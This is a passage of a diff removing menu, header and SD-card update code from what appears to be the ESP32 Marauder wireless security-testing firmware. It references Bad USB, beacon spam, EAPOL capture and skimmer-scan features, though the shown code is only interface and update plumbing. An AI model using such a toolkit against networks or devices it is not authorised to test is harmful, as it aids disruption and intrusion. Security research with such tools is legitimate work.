-  bluetoothSnifferMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
-  addNodes(&bluetoothSnifferMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(bluetoothSnifferMenu.parentMenu);
-  });
-  addNodes(&bluetoothSnifferMenu, text_table1[34], TFT_GREEN, NULL, BLUETOOTH_SNIFF, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(BT_SCAN_ALL, TFT_GREEN);
-  });
-  addNodes(&bluetoothSnifferMenu, text_table1[35], TFT_MAGENTA, NULL, CC_SKIMMERS, [this]() {
-    display_obj.clearScreen();
-    this->drawStatusBar();
-    wifi_scan_obj.StartScan(BT_SCAN_SKIMMERS, TFT_MAGENTA);
-  });
-
-  // Build bluetooth scanner Menu
-  //bluetoothScannerMenu.parentMenu = &bluetoothMenu; // Second Menu is third menu parent
-  //addNodes(&bluetoothScannerMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-  //  changeMenu(bluetoothScannerMenu.parentMenu);
-  //});
-
-  // Build bluetooth general menu
-  bluetoothGeneralMenu.parentMenu = &bluetoothMenu;
-  addNodes(&bluetoothGeneralMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(bluetoothGeneralMenu.parentMenu);
-  });
-  addNodes(&bluetoothGeneralMenu, text_table1[26], TFT_ORANGE, NULL, SHUTDOWN, [this]() {
-    changeMenu(&shutdownBLEMenu);
-    wifi_scan_obj.RunShutdownBLE();
-  });
-
-  // Build shutdown BLE menu
-  shutdownBLEMenu.parentMenu = &bluetoothGeneralMenu;
-  addNodes(&shutdownBLEMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(shutdownBLEMenu.parentMenu);
-  });
-
-  // Bad USB Menu
-  badusbMenu.parentMenu = &mainMenu;
-  addNodes(&badusbMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(badusbMenu.parentMenu);
-  });
-  addNodes(&badusbMenu, text_table1[36], TFT_PURPLE, NULL, TEST_BAD_USB_ICO, [this]() {
-    a32u4_obj.test();
-  });
-  #ifndef MARAUDER_MINI
-    addNodes(&badusbMenu, text_table1[37], TFT_RED, NULL, BAD_USB_ICO, [this](){
-      display_obj.clearScreen(); 
-      wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
-      wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED); 
-      writeBadUSB();
-    });
-  #endif
-
-  // General apps menu
-  generalMenu.parentMenu = &mainMenu;
-  addNodes(&generalMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    display_obj.draw_tft = false;
-    changeMenu(generalMenu.parentMenu);
-  });
-  addNodes(&generalMenu, text_table1[38], TFT_WHITE, NULL, DRAW, [this]() {
-    display_obj.clearScreen();
-    display_obj.setupDraw();
-    display_obj.draw_tft = true;
-  });
-
-  // Device menu
-  deviceMenu.parentMenu = &mainMenu;
-  addNodes(&deviceMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(deviceMenu.parentMenu);
-  });
-  //addNodes(&deviceMenu, "Update Firmware", TFT_ORANGE, NULL, UPDATE, [this](){wifi_scan_obj.currentScanMode = OTA_UPDATE; changeMenu(&updateMenu); web_obj.setupOTAupdate();});
-  addNodes(&deviceMenu, text_table1[15], TFT_ORANGE, NULL, UPDATE, [this]() {
-    wifi_scan_obj.currentScanMode = OTA_UPDATE;
-    changeMenu(&whichUpdateMenu);
-  });
-
-  addNodes(&deviceMenu, text_table1[16], TFT_GREEN, NULL, LANGUAGE, [this]() {
-
-    wifi_scan_obj.currentScanMode = SHOW_INFO;
-   changeMenu(&languageMenu);   
-  });
-  addNodes(&deviceMenu, text_table1[17], TFT_WHITE, NULL, DEVICE_INFO, [this]() {
-    wifi_scan_obj.currentScanMode = SHOW_INFO;
-    changeMenu(&infoMenu);
-    wifi_scan_obj.RunInfo();
-  });
-  addNodes(&deviceMenu, text08, TFT_NAVY, NULL, KEYBOARD_ICO, [this]() {
-    changeMenu(&settingsMenu);
-  });
-  /*addNodes(&deviceMenu, text08, TFT_NAVY, NULL, KEYBOARD_ICO, [this](){
-    display_obj.clearScreen(); 
-    wifi_scan_obj.currentScanMode = LV_ADD_SSID; 
-    wifi_scan_obj.StartScan(LV_ADD_SSID, TFT_RED);  
-    displaySettingsGFX();
-  });*/
-
-  // Settings menu
-  // Device menu
-  settingsMenu.parentMenu = &deviceMenu;
-  addNodes(&settingsMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(settingsMenu.parentMenu);
-  });
-  for (int i = 0; i < settings_obj.getNumberSettings(); i++) {
-    if (this->callSetting(settings_obj.setting_index_to_name(i)) == "bool")
-      addNodes(&settingsMenu, settings_obj.setting_index_to_name(i), TFT_LIGHTGREY, NULL, 0, [this, i]() {
-      settings_obj.toggleSetting(settings_obj.setting_index_to_name(i));
-      changeMenu(&specSettingMenu);
-      //this->callSetting(settings_obj.setting_index_to_name(i));
-      this->displaySetting(settings_obj.setting_index_to_name(i), &settingsMenu, i + 1);
-    }, settings_obj.loadSetting<bool>(settings_obj.setting_index_to_name(i)));
-  }
-
-  // Specific setting menu
-  specSettingMenu.parentMenu = &settingsMenu;
-  addNodes(&specSettingMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(specSettingMenu.parentMenu);
-  });
- 
-  // Select update
-  whichUpdateMenu.parentMenu = &deviceMenu;
-  addNodes(&whichUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-    changeMenu(whichUpdateMenu.parentMenu);
-  });
-  addNodes(&whichUpdateMenu, text_table1[39], TFT_GREEN, NULL, WEB_UPDATE, [this]() {
-    wifi_scan_obj.currentScanMode = OTA_UPDATE;
-    changeMenu(&updateMenu);
-    web_obj.setupOTAupdate();
-  });
-  if (sd_obj.supported) addNodes(&whichUpdateMenu, text_table1[40], TFT_MAGENTA, NULL, SD_UPDATE, [this]() {
-    wifi_scan_obj.currentScanMode = OTA_UPDATE;
-    changeMenu(&confirmMenu);
-  });
-  addNodes(&whichUpdateMenu, text_table1[41], TFT_RED, NULL, ESP_UPDATE_ICO, [this]() {
-    wifi_scan_obj.currentScanMode = ESP_UPDATE;
-    changeMenu(&espUpdateMenu);
-    esp_obj.RunUpdate();
-  });
-
-  // ESP Update Menu
-  espUpdateMenu.parentMenu = &whichUpdateMenu;
-  addNodes(&espUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-    esp_obj.bootRunMode();
-    changeMenu(espUpdateMenu.parentMenu);
-  });
-
-  // Confirm SD update menu
-  confirmMenu.parentMenu = &whichUpdateMenu;
-  addNodes(&confirmMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    changeMenu(confirmMenu.parentMenu);
-  });
-  //addNodes(&confirmMenu, "Yes", TFT_ORANGE, NULL, UPDATE, [this](){wifi_scan_obj.currentScanMode = OTA_UPDATE; changeMenu(&updateMenu); sd_obj.runUpdate();});
-  addNodes(&confirmMenu, text14, TFT_ORANGE, NULL, UPDATE, [this]() {
-    wifi_scan_obj.currentScanMode = OTA_UPDATE;
-    changeMenu(&failedUpdateMenu);
-    sd_obj.runUpdate();
-  });
-
-  // Web Update
-  updateMenu.parentMenu = &deviceMenu;
-  addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-    changeMenu(updateMenu.parentMenu);
-    WiFi.softAPdisconnect(true);
-    web_obj.shutdownServer();
-  });
-  //addNodes(&updateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this](){wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF; changeMenu(updateMenu.parentMenu);});
-
-  // Failed update menu
-  failedUpdateMenu.parentMenu = &whichUpdateMenu;
-  addNodes(&failedUpdateMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-    changeMenu(failedUpdateMenu.parentMenu);
-  });
-
-  // Device info menu
-  infoMenu.parentMenu = &deviceMenu;
-  addNodes(&infoMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-    wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-    changeMenu(infoMenu.parentMenu);
-  });
-  //language info menu
-  languageMenu.parentMenu = &deviceMenu;
-    addNodes(&languageMenu, text09, TFT_LIGHTGREY, NULL, 0, [this]() {
-      wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
-      changeMenu(infoMenu.parentMenu);
-    });
-  // Set the current menu to the mainMenu
-  changeMenu(&mainMenu);
-
-  this->initTime = millis();
-}
-
-// Function to change menu
-void MenuFunctions::changeMenu(Menu * menu)
-{
-  display_obj.initScrollValues();
-  display_obj.setupScrollArea(TOP_FIXED_AREA, BOT_FIXED_AREA);
-  display_obj.tft.init();
-  current_menu = menu;
-
-  buildButtons(menu);
-
-  displayCurrentMenu();
-}
-
-// Function to show all MenuNodes in a Menu
-void MenuFunctions::showMenuList(Menu * menu, int layer)
-{
-  // Iterate through all of the menu nodes in the menu
-  for (uint8_t i = 0; i < menu->list->size(); i++)
-  {
-    // Depending on layer, indent
-    for (uint8_t x = 0; x < layer * 4; x++)
-      Serial.print(" ");
-    Serial.print("Node: ");
-    Serial.println(menu->list->get(i).name);
-  }
-  Serial.println();
-}
-
-
-// Function to add MenuNodes to a menu
-void MenuFunctions::addNodes(Menu * menu, String name, uint16_t color, Menu * child, int place, std::function<void()> callable, bool selected, String command)
-{
-  TFT_eSPI_Button new_button;
-  menu->list->add(MenuNode{name, command, color, place, &new_button, selected, callable});
-  //menu->list->add(MenuNode{name, color, place, callable});
-}
-
-void MenuFunctions::buildButtons(Menu * menu, int starting_index)
-{
-  //Serial.println("Bulding buttons...");
-  if (menu->list != NULL)
-  {
-    //for (int i = 0; i < sizeof(key); i++)
-    //  key[i] = NULL;
-    for (uint8_t i = 0; i < menu->list->size(); i++)
-    {
-      TFT_eSPI_Button new_button;
-      char buf[menu->list->get(starting_index + i).name.length() + 1] = {};
-      menu->list->get(starting_index + i).name.toCharArray(buf, menu->list->get(starting_index + i).name.length() + 1);
-      display_obj.key[i].initButton(&display_obj.tft,
-                                    KEY_X + 0 * (KEY_W + KEY_SPACING_X),
-                                    KEY_Y + i * (KEY_H + KEY_SPACING_Y), // x, y, w, h, outline, fill, text
-                                    KEY_W,
-                                    KEY_H,
-                                    TFT_BLACK, // Outline
-                                    TFT_BLACK, // Fill
-                                    menu->list->get(starting_index + i).color, // Text
-                                    buf,
-                                    KEY_TEXTSIZE);
-
-      display_obj.key[i].setLabelDatum(BUTTON_PADDING - (KEY_W / 2), 2, ML_DATUM);
-    }
-  }
-}
-
-
-void MenuFunctions::displayCurrentMenu()
-{
-  //Serial.println(F("Displaying current menu..."));
-  display_obj.clearScreen();
-  display_obj.tft.setTextColor(TFT_LIGHTGREY, TFT_DARKGREY);
-  this->drawStatusBar();
-
-  if (current_menu->list != NULL)
-  {
-    #ifndef MARAUDER_MINI
-      display_obj.tft.setFreeFont(MENU_FONT);
-    #endif
-
-    #ifdef MARAUDER_MINI
-      display_obj.tft.setFreeFont(NULL);
-      display_obj.tft.setTextSize(1);
-    #endif
-    for (uint8_t i = 0; i < current_menu->list->size(); i++)
-    {
-      #ifndef MARAUDER_MINI
-        if (!current_menu->list->get(i).selected)
-          display_obj.key[i].drawButton(false, current_menu->list->get(i).name);
-        else
-          display_obj.key[i].drawButton(true, current_menu->list->get(i).name);
-        
-        if (current_menu->list->get(i).name != text09)
-          display_obj.tft.drawXBitmap(0,
-                                      KEY_Y + i * (KEY_H + KEY_SPACING_Y) - (ICON_H / 2),
-                                      menu_icons[current_menu->list->get(i).icon],
-                                      ICON_W,
-                                      ICON_H,
-                                      TFT_BLACK,
-                                      current_menu->list->get(i).color);
-
-      #endif
-
-      #ifdef MARAUDER_MINI
-        if ((current_menu->selected == i) || (current_menu->list->get(i).selected))
-          display_obj.key[i].drawButton(true, current_menu->list->get(i).name);
-        else 
-          display_obj.key[i].drawButton(false, current_menu->list->get(i).name);
-      #endif
-    }
-    display_obj.tft.setFreeFont(NULL);
-  }
-}
-
-#endif

esp32_marauder/MenuFunctions.h

@@ -1,228 +0,0 @@
-#ifndef MenuFunctions_h
-#define MenuFunctions_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-
-#define BATTERY_ANALOG_ON 0
-
-#include "WiFiScan.h"
-#include "Display.h"
-#include "BatteryInterface.h"
-#ifdef USE_SD_MMC_ALTERNATIVE
-#include "SD_MMCInterface.h"
-#else
-#include "SDInterface.h"
-#endif
-#include "Web.h"
-#include "esp_interface.h"
-#include "a32u4_interface.h"
-#include "settings.h"
-
-#ifdef MARAUDER_MINI
-  #include <SwitchLib.h>
-  extern SwitchLib u_btn;
-  extern SwitchLib d_btn;
-  extern SwitchLib l_btn;
-  extern SwitchLib r_btn;
-  extern SwitchLib c_btn;
-#endif
-
-extern Display display_obj;
-extern WiFiScan wifi_scan_obj;
-extern Web web_obj;
-extern SDInterface sd_obj;
-extern BatteryInterface battery_obj;
-extern EspInterface esp_obj;
-extern A32u4Interface a32u4_obj;
-extern Settings settings_obj;
-
-#define FLASH_BUTTON 0
-
-#if BATTERY_ANALOG_ON == 1
-#define BATTERY_PIN 13
-#define ANALOG_PIN 34
-#define CHARGING_PIN 27
-#endif
-
-// Icon definitions
-#define ATTACKS 0
-#define BEACON_SNIFF 1
-#define BLUETOOTH 2
-#define BLUETOOTH_SNIFF 3
-#define DEAUTH_SNIFF 4
-#define DRAW 5
-#define PACKET_MONITOR 6
-#define PROBE_SNIFF 7
-#define SCANNERS 8
-#define CC_SKIMMERS 9
-#define SNIFFERS 10
-#define WIFI 11
-#define BEACON_SPAM 12
-#define RICK_ROLL 13
-#define REBOOT 14
-#define GENERAL_APPS 15
-#define UPDATE 16
-#define DEVICE 17
-#define DEVICE_INFO 18
-#define SD_UPDATE 19
-#define WEB_UPDATE 20
-#define EAPOL 21
-#define STATUS_BAT 22
-#define STATUS_SD 23
-#define PWNAGOTCHI 24
-#define ESPRESSIF 25
-#define SHUTDOWN 26
-#define BEACON_LIST 27
-#define GENERATE 28
-#define CLEAR_ICO 29
-#define KEYBOARD_ICO 30
-#define JOIN_WIFI 31
-#define ESP_UPDATE_ICO 32
-#define BAD_USB_ICO 33
-#define TEST_BAD_USB_ICO 34
-#define LANGUAGE 35
-
-PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
-PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
-
-PROGMEM static lv_disp_buf_t disp_buf;
-PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
-
-PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
-PROGMEM static void join_wifi_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-PROGMEM static void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-PROGMEM static void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-PROGMEM static void load_btn_cb(lv_obj_t * load_btn, lv_event_t event);
-PROGMEM static void test_btn_cb(lv_obj_t * load_btn, lv_event_t event);
-PROGMEM static void ap_list_cb(lv_obj_t * btn, lv_event_t event);
-PROGMEM static void station_list_cb(lv_obj_t * btn, lv_event_t event);
-PROGMEM static void setting_dropdown_cb(lv_obj_t * btn, lv_event_t event);
-PROGMEM static void save_as_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-
-// lvgl stuff
-PROGMEM static lv_obj_t *kb;
-PROGMEM static lv_obj_t * save_as_kb;
-
-struct Menu;
-
-// Individual Nodes of a menu
-
-struct MenuNode {
-  String name;
-  String command;
-  uint16_t color;
-  int icon;
-  TFT_eSPI_Button* button;
-  bool selected;
-  std::function<void()> callable;
-};
-
-// Full Menus
-struct Menu {
-  String name;
-  LinkedList<MenuNode>* list;
-  Menu                * parentMenu;
-  uint8_t               selected = 0;
-};
-
-
-class MenuFunctions
-{
-  private:
-
-    String u_result = "";
-
-    uint32_t initTime = 0;
-
-    //Menu* current_menu;
-
-    // Main menu stuff
-    Menu mainMenu;
-
-    Menu wifiMenu;
-    Menu bluetoothMenu;
-    Menu badusbMenu;
-    Menu generalMenu;
-    Menu deviceMenu;
-
-    // Device menu stuff
-    Menu whichUpdateMenu;
-    Menu failedUpdateMenu;
-    Menu confirmMenu;
-    Menu espUpdateMenu;
-    Menu updateMenu;
-    Menu settingsMenu;
-    Menu specSettingMenu;
-    Menu infoMenu;
-    Menu languageMenu;
-
-    // WiFi menu stuff
-    Menu wifiSnifferMenu;
-    Menu wifiAttackMenu;
-    Menu wifiGeneralMenu;
-    Menu wifiAPMenu;
-
-    // Bluetooth menu stuff
-    Menu bluetoothSnifferMenu;
-    Menu bluetoothGeneralMenu;
-
-    // Settings things menus
-    Menu shutdownWiFiMenu;
-    Menu shutdownBLEMenu;
-    Menu generateSSIDsMenu;
-
-    static void lv_tick_handler();
-
-    // Menu icons
-
-
-    //TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
-
-    void addNodes(Menu* menu, String name, uint16_t color, Menu* child, int place, std::function<void()> callable, bool selected = false, String command = "");
-    void updateStatusBar();
-    void battery(bool initial = false);
-    void battery2(bool initial = false);
-    void showMenuList(Menu* menu, int layer);
-    String callSetting(String key);
-    void runBoolSetting(String ley);
-    void displaySetting(String key, Menu* menu, int index);
-    void buttonSelected(uint8_t b);
-    void buttonNotSelected(uint8_t b);
-
-  public:
-    MenuFunctions();
-
-    Menu* current_menu;
-    Menu clearSSIDsMenu;
-    Menu clearAPsMenu;
-
-    Ticker tick;
-
-    uint16_t x = -1, y = -1;
-    boolean pressed = false;
-
-    String loaded_file = "";
-
-    void initLVGL();
-    void deinitLVGL();
-    void joinWiFiGFX();
-    void addSSIDGFX();
-    void addAPGFX();
-    void addStationGFX();
-    void displaySettingsGFX();
-    void writeBadUSB();
-
-    void buildButtons(Menu* menu, int starting_index = 0);
-    void changeMenu(Menu* menu);
-    void drawStatusBar();
-    void displayCurrentMenu();
-    void main(uint32_t currentTime);
-    void RunSetup();
-    void orientDisplay();
-};
-
-
-#endif
-#endif

esp32_marauder/SDInterface.cpp

@@ -1,229 +0,0 @@
-/*#include "SDInterface.h"
-#include "lang_var.h"
-
-bool SDInterface::initSD() {
-  String display_string = "";
-
-  #ifdef KIT
-    pinMode(SD_DET, INPUT);
-    if (digitalRead(SD_DET) == LOW) {
-      Serial.println(F("SD Card Detect Pin Detected"));
-    }
-    else {
-      Serial.println(F("SD Card Detect Pin Not Detected"));
-      this->supported = false;
-      return false;
-    }
-  #endif
-
-  pinMode(SD_CS, OUTPUT);
-
-  delay(10);
-  
-  if (!SD.begin(SD_CS)) {
-    Serial.println(F("Failed to mount SD Card"));
-    this->supported = false;
-    return false;
-  }
-  else {
-    this->supported = true;
-    this->cardType = SD.cardType();
-    //if (cardType == CARD_MMC)
-    //  Serial.println(F("SD: MMC Mounted"));
-    //else if(cardType == CARD_SD)
-    //    Serial.println(F("SD: SDSC Mounted"));
-    //else if(cardType == CARD_SDHC)
-    //    Serial.println(F("SD: SDHC Mounted"));
-    //else
-    //    Serial.println(F("SD: UNKNOWN Card Mounted"));
-
-    this->cardSizeMB = SD.cardSize() / (1024 * 1024);
-    
-    //Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
-
-    if (this->supported) {
-      const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
-    
-      char sz[NUM_DIGITS + 1];
-     
-      sz[NUM_DIGITS] =  0;
-      for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
-      {
-          sz[i] = '0' + (this->cardSizeMB % 10);
-          display_string.concat((String)sz[i]);
-      }
-  
-      this->card_sz = sz;
-    }
-
-    buffer_obj = Buffer();
-    
-    if (!SD.exists("/SCRIPTS")) {
-      Serial.println("/SCRIPTS does not exist. Creating...");
-
-      SD.mkdir("/SCRIPTS");
-      Serial.println("/SCRIPTS created");
-    }
-    
-    return true;
-  }
-}
-
-void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
-  if ((this->supported) && (this->do_save)) {
-    buffer_obj.addPacket(buf, len);
-  }
-}
-
-void SDInterface::openCapture(String file_name) {
-  if (this->supported)
-    buffer_obj.open(&SD, file_name);
-}
-
-void SDInterface::runUpdate() {
-  #ifdef HAS_SCREEN
-    display_obj.tft.setTextWrap(false);
-    display_obj.tft.setFreeFont(NULL);
-    display_obj.tft.setCursor(0, 100);
-    display_obj.tft.setTextSize(1);
-    display_obj.tft.setTextColor(TFT_WHITE);
-  
-    display_obj.tft.println(F(text15));
-  #endif
-  File updateBin = SD.open("/update.bin");
-  if (updateBin) {
-    if(updateBin.isDirectory()){
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_RED);
-        display_obj.tft.println(F(text_table2[0]));
-      #endif
-      Serial.println(F("Error, could not find \"update.bin\""));
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_WHITE);
-      #endif
-      updateBin.close();
-      return;
-    }
-
-    size_t updateSize = updateBin.size();
-
-    if (updateSize > 0) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(F(text_table2[1]));
-      #endif
-      Serial.println(F("Starting update over SD. Please wait..."));
-      this->performUpdate(updateBin, updateSize);
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_RED);
-        display_obj.tft.println(F(text_table2[2]));
-      #endif
-      Serial.println(F("Error, file is empty"));
-      #ifdef HAS_SCREEN
-        display_obj.tft.setTextColor(TFT_WHITE);
-      #endif
-      return;
-    }
-
-    updateBin.close();
-    
-      // whe finished remove the binary from sd card to indicate end of the process
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(F(text_table2[3]));
-    #endif
-    Serial.println(F("rebooting..."));
-    //SD.remove("/update.bin");      
-    delay(1000);
-    ESP.restart();
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text_table2[4]));
-    #endif
-    Serial.println(F("Could not load update.bin from sd root"));
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_WHITE);
-    #endif
-  }
-}
-
-void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
-  if (Update.begin(updateSize)) {   
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[5] + String(updateSize));
-      display_obj.tft.println(F(text_table2[6]));
-    #endif
-    size_t written = Update.writeStream(updateSource);
-    if (written == updateSize) {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
-      #endif
-      Serial.println("Written : " + String(written) + " successfully");
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
-      #endif
-      Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
-    }
-    if (Update.end()) {
-      Serial.println("OTA done!");
-      if (Update.isFinished()) {
-        #ifdef HAS_SCREEN
-          display_obj.tft.println(F(text_table2[11]));
-        #endif
-        Serial.println(F("Update successfully completed. Rebooting."));
-      }
-      else {
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_RED);
-          display_obj.tft.println(text_table2[12]);
-        #endif
-        Serial.println("Update not finished? Something went wrong!");
-        #ifdef HAS_SCREEN
-          display_obj.tft.setTextColor(TFT_WHITE);
-        #endif
-      }
-    }
-    else {
-      #ifdef HAS_SCREEN
-        display_obj.tft.println(text_table2[13] + String(Update.getError()));
-      #endif
-      Serial.println("Error Occurred. Error #: " + String(Update.getError()));
-    }
-
-  }
-  else
-  {
-    #ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[14]);
-    #endif
-    Serial.println("Not enough space to begin OTA");
-  }
-}
-
-bool SDInterface::checkDetectPin() {
-  #ifdef KIT
-    if (digitalRead(SD_DET) == LOW)
-      return true;
-    else
-      return false;
-  #endif
-
-  return false;
-}
-
-void SDInterface::main() {
-  if ((this->supported) && (this->do_save)) {
-    //Serial.println("Saving packet...");
-    buffer_obj.forceSave(&SD);
-  }
-  else if (!this->supported) {
-    if (checkDetectPin()) {
-      delay(100);
-      this->initSD();
-    }
-  }
-}*/

esp32_marauder/SDInterface.h

@@ -1,48 +0,0 @@
-#ifndef SDInterface_h
-#define SDInterface_h
-
-#include "configs.h"
-
-#include "SD.h"
-#include "Buffer.h"
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-#include <Update.h>
-
-extern Buffer buffer_obj;
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-#ifdef KIT
-  #define SD_DET 4
-#endif
-
-class SDInterface {
-
-  private:
-    bool checkDetectPin();
-
-  public:
-    uint8_t cardType;
-    //uint64_t cardSizeBT;
-    //uint64_t cardSizeKB;
-    uint64_t cardSizeMB;
-    //uint64_t cardSizeGB;
-    bool supported = false;
-    bool do_save = true;
-
-    String card_sz;
-  
-    bool initSD();
-
-    void addPacket(uint8_t* buf, uint32_t len);
-    void openCapture(String file_name = "");
-    void runUpdate();
-    void performUpdate(Stream &updateSource, size_t updateSize);
-    void main();
-    //void savePacket(uint8_t* buf, uint32_t len);
-};
-
-#endif

esp32_marauder/SD_MMCInterface.cpp

@@ -1,206 +0,0 @@
-#include "SD_MMCInterface.h"
-#include "lang_var.h"
-
-bool SDInterface::initSD() {
-  //String display_string = "";
-  /*if (!SD_MMC.begin()) {
-    Serial.println(F("Failed to mount SD Card"));
-    this->supported = false;
-    return false;
-  }
-  else {
-    this->supported = true;
-
-    this->cardType = SD_MMC.cardType();
-    this->cardSizeMB = SD_MMC.cardSize() / (1024 * 1024);
-
-    Serial.printf("SD Card Size: %lluMB\n", this->cardSizeMB);
-
-    if (this->supported) {
-      const int NUM_DIGITS = log10(this->cardSizeMB) + 1;
-
-      char sz[NUM_DIGITS + 1];
-
-      sz[NUM_DIGITS] =  0;
-      for ( size_t i = NUM_DIGITS; i--; this->cardSizeMB /= 10)
-      {
-        sz[i] = '0' + (this->cardSizeMB % 10);
-        //display_string.concat((String)sz[i]);
-      }
-
-      this->card_sz = sz;
-    }
-
-    buffer_obj = Buffer();
-
-    if (!SD_MMC.exists("/SCRIPTS")) {
-      Serial.println("/SCRIPTS does not exist. Creating...");
-
-      SD_MMC.mkdir("/SCRIPTS");
-      Serial.println("/SCRIPTS created");
-    }
-
-    return true;
-  }*/
-  return false;
-}
-
-void SDInterface::addPacket(uint8_t* buf, uint32_t len) {
-  if ((this->supported) && (this->do_save)) {
-    buffer_obj.addPacket(buf, len);
-  }
-}
-
-void SDInterface::openCapture(String file_name) {
-  if (this->supported)
-    buffer_obj.open(&SD_MMC, file_name);
-}
-
-void SDInterface::runUpdate() {
-#ifdef HAS_SCREEN
-  display_obj.tft.setTextWrap(false);
-  display_obj.tft.setFreeFont(NULL);
-  display_obj.tft.setCursor(0, 100);
-  display_obj.tft.setTextSize(1);
-  display_obj.tft.setTextColor(TFT_WHITE);
-
-  display_obj.tft.println(F(text15));
-#endif
-  File updateBin = SD_MMC.open("/update.bin");
-  if (updateBin) {
-    if (updateBin.isDirectory()) {
-#ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text_table2[0]));
-#endif
-      Serial.println(F("Error, update.bin is not a file"));
-#ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_WHITE);
-#endif
-      updateBin.close();
-      return;
-    }
-
-    size_t updateSize = updateBin.size();
-
-    if (updateSize > 0) {
-#ifdef HAS_SCREEN
-      display_obj.tft.println(F(text_table2[1]));
-#endif
-      Serial.println(F("Try to start update"));
-      this->performUpdate(updateBin, updateSize);
-    }
-    else {
-#ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED);
-      display_obj.tft.println(F(text_table2[2]));
-#endif
-      Serial.println(F("Error, file is empty"));
-#ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_WHITE);
-#endif
-      return;
-    }
-
-    updateBin.close();
-
-    // whe finished remove the binary from sd card to indicate end of the process
-#ifdef HAS_SCREEN
-    display_obj.tft.println(F(text_table2[3]));
-#endif
-    Serial.println(F("rebooting..."));
-    //SD.remove("/update.bin");
-    delay(1000);
-    ESP.restart();
-  }
-  else {
-#ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_RED);
-    display_obj.tft.println(F(text_table2[4]));
-#endif
-    Serial.println(F("Could not load update.bin from sd root"));
-#ifdef HAS_SCREEN
-    display_obj.tft.setTextColor(TFT_WHITE);
-#endif
-  }
-}
-
-void SDInterface::performUpdate(Stream &updateSource, size_t updateSize) {
-  if (Update.begin(updateSize)) {
-#ifdef HAS_SCREEN
-    display_obj.tft.println(text_table2[5] + String(updateSize));
-    display_obj.tft.println(F(text_table2[6]));
-#endif
-    size_t written = Update.writeStream(updateSource);
-    if (written == updateSize) {
-#ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[7] + String(written) + text_table2[10]);
-#endif
-      Serial.println("Written : " + String(written) + " successfully");
-    }
-    else {
-#ifdef HAS_SCREEN
-      display_obj.tft.println(text_table2[8] + String(written) + "/" + String(updateSize) + text_table2[9]);
-#endif
-      Serial.println("Written only : " + String(written) + "/" + String(updateSize) + ". Retry?");
-    }
-    if (Update.end()) {
-      Serial.println("OTA done!");
-      if (Update.isFinished()) {
-#ifdef HAS_SCREEN
